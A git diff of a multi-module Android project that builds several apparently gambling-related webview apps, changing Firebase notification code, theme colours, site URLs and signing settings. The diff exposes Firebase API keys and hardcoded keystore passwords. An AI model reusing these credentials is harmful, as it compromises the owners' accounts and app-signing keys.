getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; } } - - public String byteToString(byte[] bytes) { - StringBuilder stringBuilder = new StringBuilder(); - for (int i = 0; i < bytes.length; i++) { - String hexString = Integer.toHexString(0xff & bytes[i]); - if (hexString.length() == 1) { - stringBuilder.append("0"); - } - stringBuilder.append(hexString); - } - return stringBuilder.toString(); - } - - - @Override - public void onClick(View v) { - switch (v.getId()) { - case R.id.btn_0: - addInput("0"); - break; - case R.id.btn_1: - addInput("1"); - break; - case R.id.btn_2: - addInput("2"); - break; - case R.id.btn_3: - addInput("3"); - break; - case R.id.btn_4: - addInput("4"); - break; - case R.id.btn_5: - addInput("5"); - break; - case R.id.btn_6: - addInput("6"); - break; - case R.id.btn_7: - addInput("7"); - break; - case R.id.btn_8: - addInput("8"); - break; - case R.id.btn_9: - addInput("9"); - break; - case R.id.btn_point: - addInput("."); - break; - case R.id.btn_add: - addInput("+"); - break; - case R.id.btn_subtract: - addInput("-"); - break; - case R.id.btn_multiply: - addInput("*"); - break; - case R.id.btn_divide: - addInput("/"); - break; - case R.id.btn_backspace: - if (currentInput.length() > 0) { - currentInput.deleteCharAt(currentInput.length() - 1); - } - displayInput(); - break; - case R.id.btn_clear: - currentInput = new StringBuilder(""); - displayInput(); - outputTextView.setText(""); - break; - case R.id.btn_equal: - StringBuilder result = compute(currentInput); - displayAnswer(result); - hasCount = true; - break; - } - } - - public void getNetUrl() { -// Api.getInstance().geUrl(System.currentTimeMillis()) -// .subscribeOn(Schedulers.io()) -// .observeOn(AndroidSchedulers.mainThread()) -// .subscribe(new BaseObserver() { -// @Override -// public void onSuccess(Result o) { -// LogUtils.i("获取的文件地址:"+o.url); -// if(!TextUtils.isEmpty(o.url)){ -// saveString(MainActivity.this,"base_url",o.url); -// } -// } -// -// @Override -// public void onError(int code, String msg) { -// -// } -// }); - } - - public static void saveString(Context context, String key, String value) { - SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); - SharedPreferences.Editor editor = sp.edit(); - editor.putString(key, value); - editor.apply(); - } - - public static String getString(Context context, String key, String defValue) { - if (context == null) { - return defValue; - } - SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); - return sp.getString(key, defValue); - } - - - public static void saveBoolean(Context context, String key, Boolean value) { - SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); - SharedPreferences.Editor editor = sp.edit(); - editor.putBoolean(key, value); - editor.apply(); - } - - public static Boolean getBoolean(Context context, String key, Boolean defValue) { - if (context == null) { - return defValue; - } - SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); - return sp.getBoolean(key, defValue); - } - -} \ No newline at end of file +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/MyFirebaseMessageingService.java b/Dmcslot/src/main/java/com/web/dmcslot/MyFirebaseMessageingService.java index e426ed0..00df20e 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/MyFirebaseMessageingService.java +++ b/Dmcslot/src/main/java/com/web/dmcslot/MyFirebaseMessageingService.java @@ -1,17 +1,12 @@ package com.web.dmcslot; -import android.app.Notification; import android.app.NotificationChannel; import android.app.NotificationManager; import android.app.PendingIntent; import android.content.ComponentName; -import android.content.ContentResolver; import android.content.Context; import android.content.Intent; -import android.content.SharedPreferences; -import android.net.Uri; import android.os.Build; -import android.text.TextUtils; import androidx.annotation.NonNull; import androidx.core.app.NotificationCompat; @@ -19,6 +14,8 @@ import androidx.core.app.NotificationCompat; import com.google.firebase.messaging.FirebaseMessagingService; import com.google.firebase.messaging.RemoteMessage; import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; import java.util.Map; import java.util.Random; @@ -37,21 +34,16 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { Gson gson = new Gson(); MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); showNotification(messageInfo); -// if (remoteMessage.getNotification() != null) { -// showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); -// } } else { //收到通知 创建notify if (remoteMessage.getNotification() != null) { showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); } } - - } private void showNotification(MessageInfo messageInfo) { - Intent notifyIntent = new Intent(this, MainActivity2.class); + Intent notifyIntent = new Intent(this, MainActivity.class); if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { ComponentName launchComponent = null; launchComponent = getApplication() @@ -60,28 +52,16 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { .getComponent(); notifyIntent.setComponent(launchComponent); } - notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); notifyIntent.setAction(Intent.ACTION_VIEW); notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 notifyIntent.putExtra("message", messageInfo); - PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); - -// Intent notifyIntent = new Intent(this, MainActivity2.class); -// notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); -// // notifyIntent.putExtra("message", messageInfo); -// notifyIntent.setAction(Intent.ACTION_VIEW); -// notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 -// PendingIntent pendingIntent; -// pendingIntent = PendingIntent.getActivity -// (this, 0, notifyIntent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE); - NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); NotificationChannel channelwinway = null; NotificationCompat.Builder notificationBuilder = null; if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { - channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); channelwinway.enableLights(true); channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); @@ -92,7 +72,7 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { .setAutoCancel(true) .setContentIntent(pendingIntent); } else { - notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name)) + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) .setSmallIcon(R.mipmap.app_logo) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) @@ -103,7 +83,7 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { } private void showNotification(String title, String body) { - Intent notifyIntent = new Intent(this, MainActivity2.class); + Intent notifyIntent = new Intent(this, MainActivity.class); if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { ComponentName launchComponent = null; launchComponent = getApplication() @@ -116,8 +96,6 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); notifyIntent.setAction(Intent.ACTION_VIEW); notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 - - PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); NotificationChannel channelwinway = null; @@ -127,7 +105,7 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { body = messageInfo.getContent(); } if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { - channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); channelwinway.enableLights(true); channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); @@ -138,7 +116,7 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { .setAutoCancel(true) .setContentIntent(pendingIntent); } else { - notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name)) + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) .setSmallIcon(R.mipmap.app_logo) .setContentTitle(title) .setContentText(body) @@ -146,29 +124,5 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { .setContentIntent(pendingIntent); } notificationManager.notify(0, notificationBuilder.build()); - //存储数据 - // saveNotifyMessage(body); } - - -// public void saveNotifyMessage(String body) { -// MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); -// String savenotify = Utils.get(getApplication(),ApiService.savenotify,""); -// if(messageInfo!=null){ -// if(TextUtils.isEmpty(savenotify)){ -// GsonUtils.getListFromJSON(savenotify,) -// } -// } -// String jsonString = GsonUtils.beanToJSONString(chatMessageBeans); -// } -// -// /** -// * @param key 要设置的key -// */ -// public static void set(Context activity, String key, String is) { -// SharedPreferences nameSetting = getConfigShared(activity); -// SharedPreferences.Editor namePref = nameSetting.edit(); -// namePref.putString(key, is); -// namePref.commit(); -// } } diff --git a/Dmcslot/src/main/res/drawable/big_bg.xml b/Dmcslot/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..54f47df --- /dev/null +++ b/Dmcslot/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/Gdslot888/src/main/java/com/web/gdslot888/MyFirebaseMessageingService.java b/Gdslot888/src/main/java/com/web/gdslot888/MyFirebaseMessageingService.java index 59b4c7b..69d29a2 100644 --- a/Gdslot888/src/main/java/com/web/gdslot888/MyFirebaseMessageingService.java +++ b/Gdslot888/src/main/java/com/web/gdslot888/MyFirebaseMessageingService.java @@ -83,14 +83,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) @@ -129,14 +129,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) diff --git a/Judy88/src/main/java/com/web/judy88/MainActivity2.java b/Judy88/src/main/java/com/web/judy88/MainActivity2.java index 953797e..0910f5e 100644 --- a/Judy88/src/main/java/com/web/judy88/MainActivity2.java +++ b/Judy88/src/main/java/com/web/judy88/MainActivity2.java @@ -20,8 +20,16 @@ public class MainActivity2 extends com.web.base.MainActivity2 { saveInt(MainActivity2.this,"user_code",userId); saveInt(MainActivity2.this,"version_code",getVersion()); MainActivity.saveString(this, "base_url","https://judy88.online/"); - + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#fde610"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#fae12c"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity2.this,"is_white",0); super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); //订阅主题 FirebaseMessaging.getInstance().subscribeToTopic("demo") .addOnCompleteListener(new OnCompleteListener() { diff --git a/Judy88/src/main/res/drawable/big_bg.xml b/Judy88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..ab2f4d6 --- /dev/null +++ b/Judy88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/Judy88/src/main/res/mipmap-xxhdpi/app_logo.png b/Judy88/src/main/res/mipmap-xxhdpi/app_logo.png index 5c8ccd0..2783f2c 100644 Binary files a/Judy88/src/main/res/mipmap-xxhdpi/app_logo.png and b/Judy88/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/Judy88/src/main/res/values-night/themes.xml b/Judy88/src/main/res/values-night/themes.xml index 4bf7105..00f8f17 100644 --- a/Judy88/src/main/res/values-night/themes.xml +++ b/Judy88/src/main/res/values-night/themes.xml @@ -60,9 +60,9 @@ true - @color/white + @color/main_color - @color/white + @color/main_color false diff --git a/Judy88/src/main/res/values/colors.xml b/Judy88/src/main/res/values/colors.xml index ec06067..e86fc3e 100644 --- a/Judy88/src/main/res/values/colors.xml +++ b/Judy88/src/main/res/values/colors.xml @@ -9,7 +9,7 @@ #FFFFFFFF #EF4723 #FFFFFFFF - + #fae12c #2C2C2E #FFA722 #434343 diff --git a/Judy88/src/main/res/values/themes.xml b/Judy88/src/main/res/values/themes.xml index a973841..33fbf32 100644 --- a/Judy88/src/main/res/values/themes.xml +++ b/Judy88/src/main/res/values/themes.xml @@ -62,9 +62,9 @@ true - @color/white + @color/main_color - @android:color/transparent + @color/main_color false false diff --git a/Magnum888/src/main/java/com/web/magnum888/MyFirebaseMessageingService.java b/Magnum888/src/main/java/com/web/magnum888/MyFirebaseMessageingService.java index 0031a0b..d234029 100644 --- a/Magnum888/src/main/java/com/web/magnum888/MyFirebaseMessageingService.java +++ b/Magnum888/src/main/java/com/web/magnum888/MyFirebaseMessageingService.java @@ -83,14 +83,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) @@ -129,14 +129,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) diff --git a/Mahkota8/google-services.json b/Mahkota8/google-services.json index 397c322..b59c529 100644 --- a/Mahkota8/google-services.json +++ b/Mahkota8/google-services.json @@ -1,13 +1,13 @@ { "project_info": { - "project_number": "643424299568", - "project_id": "mahkota8-186da", - "storage_bucket": "mahkota8-186da.firebasestorage.app" + "project_number": "918799210650", + "project_id": "mahkota8-d3760", + "storage_bucket": "mahkota8-d3760.firebasestorage.app" }, "client": [ { "client_info": { - "mobilesdk_app_id": "1:643424299568:android:7ef0cd13dc9175bafb9bf5", + "mobilesdk_app_id": "1:918799210650:android:1b3d8d1288fb789c322723", "android_client_info": { "package_name": "com.web.MAHKOTA8" } @@ -15,7 +15,7 @@ "oauth_client": [], "api_key": [ { - "current_key": "AIzaSyBuleiR8aPa6Dt3kevaK4wtSoYck31s8AU" + "current_key": "AIzaSyCMYRmt5pY4NpXQzZkaOIWODyyUw2AIO1Q" } ], "services": { diff --git a/Mahkota8/src/main/java/com/web/MAHKOTA8/MainActivity2.java b/Mahkota8/src/main/java/com/web/MAHKOTA8/MainActivity2.java index 2deebb8..0da04a0 100644 --- a/Mahkota8/src/main/java/com/web/MAHKOTA8/MainActivity2.java +++ b/Mahkota8/src/main/java/com/web/MAHKOTA8/MainActivity2.java @@ -10,6 +10,7 @@ import androidx.annotation.NonNull; import com.google.android.gms.tasks.OnCompleteListener; import com.google.android.gms.tasks.Task; import com.google.firebase.messaging.FirebaseMessaging; +import com.web.base.LogUtils; import com.web.base.MainActivity; public class MainActivity2 extends com.web.base.MainActivity2 { @@ -20,20 +21,26 @@ public class MainActivity2 extends com.web.base.MainActivity2 { saveInt(MainActivity2.this,"user_code",userId); saveInt(MainActivity2.this,"version_code",getVersion()); MainActivity.saveString(this, "base_url", "https://www.mahkota8b.com/"); - + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#f7db4b"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#f7db4b"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity2.this,"is_white",0); super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); //订阅主题 FirebaseMessaging.getInstance().subscribeToTopic("demo") - .addOnCompleteListener(new OnCompleteListener() { - @Override - public void onComplete(@NonNull Task task) { - String msg = "Subscribed"; - if (!task.isSuccessful()) { - msg = "Subscribe failed"; - } - + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; } + LogUtils.i("结果:"+msg); }); + } public int getVersion(){ diff --git a/Mahkota8/src/main/res/drawable/big_bg.xml b/Mahkota8/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..7e15d47 --- /dev/null +++ b/Mahkota8/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/Mahkota8/src/main/res/mipmap-xxhdpi/app_logo.png b/Mahkota8/src/main/res/mipmap-xxhdpi/app_logo.png index a4e5047..0fcbb17 100644 Binary files a/Mahkota8/src/main/res/mipmap-xxhdpi/app_logo.png and b/Mahkota8/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/Mahkota8/src/main/res/values-en/strings.xml b/Mahkota8/src/main/res/values-en/strings.xml index a5d300d..3189c73 100644 --- a/Mahkota8/src/main/res/values-en/strings.xml +++ b/Mahkota8/src/main/res/values-en/strings.xml @@ -1,5 +1,5 @@ - MAHKOTA8 + Mahkota8 Please Set Your Password Cancel Sure diff --git a/Mahkota8/src/main/res/values/strings.xml b/Mahkota8/src/main/res/values/strings.xml index 88897f2..b139af2 100644 --- a/Mahkota8/src/main/res/values/strings.xml +++ b/Mahkota8/src/main/res/values/strings.xml @@ -1,5 +1,5 @@ - MAHKOTA8 + Mahkota8 请输入6位密码 取消 确定 diff --git a/Mko888/src/main/java/com/web/MKO888/MyFirebaseMessageingService.java b/Mko888/src/main/java/com/web/MKO888/MyFirebaseMessageingService.java index 703d0aa..5e83875 100644 --- a/Mko888/src/main/java/com/web/MKO888/MyFirebaseMessageingService.java +++ b/Mko888/src/main/java/com/web/MKO888/MyFirebaseMessageingService.java @@ -83,14 +83,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) @@ -129,14 +129,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(com.web.base.R.mipmap.ic_email) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) diff --git a/Oyen333/Oyen333.jks b/Oyen333/Oyen333.jks index 5685015..e529d5b 100644 Binary files a/Oyen333/Oyen333.jks and b/Oyen333/Oyen333.jks differ diff --git a/Oyen333/build.gradle b/Oyen333/build.gradle index 0410f24..c53a1a9 100644 --- a/Oyen333/build.gradle +++ b/Oyen333/build.gradle @@ -20,15 +20,15 @@ android { signingConfigs { debug { - storeFile file('Oyen333.jks') + storeFile file('oyen.jks') storePassword "dskj123456" - keyAlias 'key0' + keyAlias 'oyen' keyPassword "dskj123456" } release { - storeFile file('Oyen333.jks') + storeFile file('oyen.jks') storePassword "dskj123456" - keyAlias 'key0' + keyAlias 'oyen' keyPassword "dskj123456" } } diff --git a/Oyen333/oyen.jks b/Oyen333/oyen.jks new file mode 100644 index 0000000..9552acf Binary files /dev/null and b/Oyen333/oyen.jks differ diff --git a/Oyen333/release/Oyen333.apk b/Oyen333/release/Oyen333.apk index d2f2ff0..35eceeb 100644 Binary files a/Oyen333/release/Oyen333.apk and b/Oyen333/release/Oyen333.apk differ diff --git a/Oyen333/release/output-metadata.json b/Oyen333/release/output-metadata.json index ed91043..7375ed8 100644 --- a/Oyen333/release/output-metadata.json +++ b/Oyen333/release/output-metadata.json @@ -10,9 +10,9 @@ { "type": "SINGLE", "filters": [], - "versionCode": 106, - "versionName": "v1.0.6", - "outputFile": "Oyen333-release.apk" + "versionCode": 120, + "versionName": "v1.2.0", + "outputFile": "Oyen333.apk" } ] } \ No newline at end of file diff --git a/Oyen333/src/main/java/com/web/Oyen333/MainActivity2.java b/Oyen333/src/main/java/com/web/Oyen333/MainActivity2.java index 86cc8e1..0875548 100644 --- a/Oyen333/src/main/java/com/web/Oyen333/MainActivity2.java +++ b/Oyen333/src/main/java/com/web/Oyen333/MainActivity2.java @@ -21,7 +21,15 @@ public class MainActivity2 extends com.web.base.MainActivity2 { saveInt(MainActivity2.this,"version_code",getVersion()); MainActivity.saveString(this, "base_url","https://oyen333.store/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#fa5805"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#422d1b"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity2.this,"is_white",1); super.onCreate(savedInstanceState); + setBackDrawables(R.drawable.big_bg); + setImageView(true); //订阅主题 FirebaseMessaging.getInstance().subscribeToTopic("demo") .addOnCompleteListener(new OnCompleteListener() { diff --git a/Oyen333/src/main/res/drawable/big_bg.xml b/Oyen333/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..afc53f5 --- /dev/null +++ b/Oyen333/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/Oyen333/src/main/res/values-night/themes.xml b/Oyen333/src/main/res/values-night/themes.xml index 4bf7105..cdf93f4 100644 --- a/Oyen333/src/main/res/values-night/themes.xml +++ b/Oyen333/src/main/res/values-night/themes.xml @@ -60,9 +60,9 @@ true - @color/white + @drawable/big_bg - @color/white + @color/main_color false diff --git a/Oyen333/src/main/res/values/colors.xml b/Oyen333/src/main/res/values/colors.xml index 7895913..eb86813 100644 --- a/Oyen333/src/main/res/values/colors.xml +++ b/Oyen333/src/main/res/values/colors.xml @@ -9,6 +9,7 @@ #FFFFFFFF #EF4723 #FFFFFFFF + #fa5805 #2C2C2E #FFA722 diff --git a/Oyen333/src/main/res/values/themes.xml b/Oyen333/src/main/res/values/themes.xml index e47899f..bcb6011 100644 --- a/Oyen333/src/main/res/values/themes.xml +++ b/Oyen333/src/main/res/values/themes.xml @@ -62,9 +62,9 @@ true - @color/white + @drawable/big_bg - @color/white + @color/main_color false diff --git a/Petron777/build.gradle b/Petron777/build.gradle index 85d050f..47b3906 100644 --- a/Petron777/build.gradle +++ b/Petron777/build.gradle @@ -20,16 +20,16 @@ android { signingConfigs { debug { - storeFile file('petron777.jks') - storePassword "android2014" - keyAlias 'key0' - keyPassword "android2014" + storeFile file('oyen.jks') + storePassword "dskj123456" + keyAlias 'oyen' + keyPassword "dskj123456" } release { - storeFile file('petron777.jks') - storePassword "android2014" - keyAlias 'key0' - keyPassword "android2014" + storeFile file('oyen.jks') + storePassword "dskj123456" + keyAlias 'oyen' + keyPassword "dskj123456" } } buildTypes { diff --git a/Petron777/oyen.jks b/Petron777/oyen.jks new file mode 100644 index 0000000..9552acf Binary files /dev/null and b/Petron777/oyen.jks differ diff --git a/Petron777/src/main/java/com/web/petron777/MyFirebaseMessageingService.java b/Petron777/src/main/java/com/web/petron777/MyFirebaseMessageingService.java index d5022db..293f97d 100644 --- a/Petron777/src/main/java/com/web/petron777/MyFirebaseMessageingService.java +++ b/Petron777/src/main/java/com/web/petron777/MyFirebaseMessageingService.java @@ -83,14 +83,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) @@ -129,14 +129,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) diff --git a/README.md b/README.md index cf045b6..d935790 100644 --- a/README.md +++ b/README.md @@ -42,4 +42,31 @@ 12.单个app打包命令 Gradle/app名字/Tasks/build/assemble + +# V1.2.8 2025年12月22日 start 简化配置逻辑流程 + +1.覆盖 google-servicces.json + +2.修改build.gradle你的包名 和 打包名字 + +3.修改 java包名的目录结构 + +4.修改app_logo 图片 + +5.修改 app_config.xml的配置项 + +需要修改的配置项都在这里面 app_config.xml + + MAUCUCI + 230 + https://maucuci.club/ + 1 + 0 + #1251a1 + #fdc002 + +6.项目继承 base_theme 丢弃之前的 base_no_music + + + \ No newline at end of file diff --git a/afb77au/.gitignore b/afb77au/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/afb77au/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/afb77au/build.gradle b/afb77au/build.gradle new file mode 100644 index 0000000..d3b5dfc --- /dev/null +++ b/afb77au/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.afb77au" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "afb77au" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 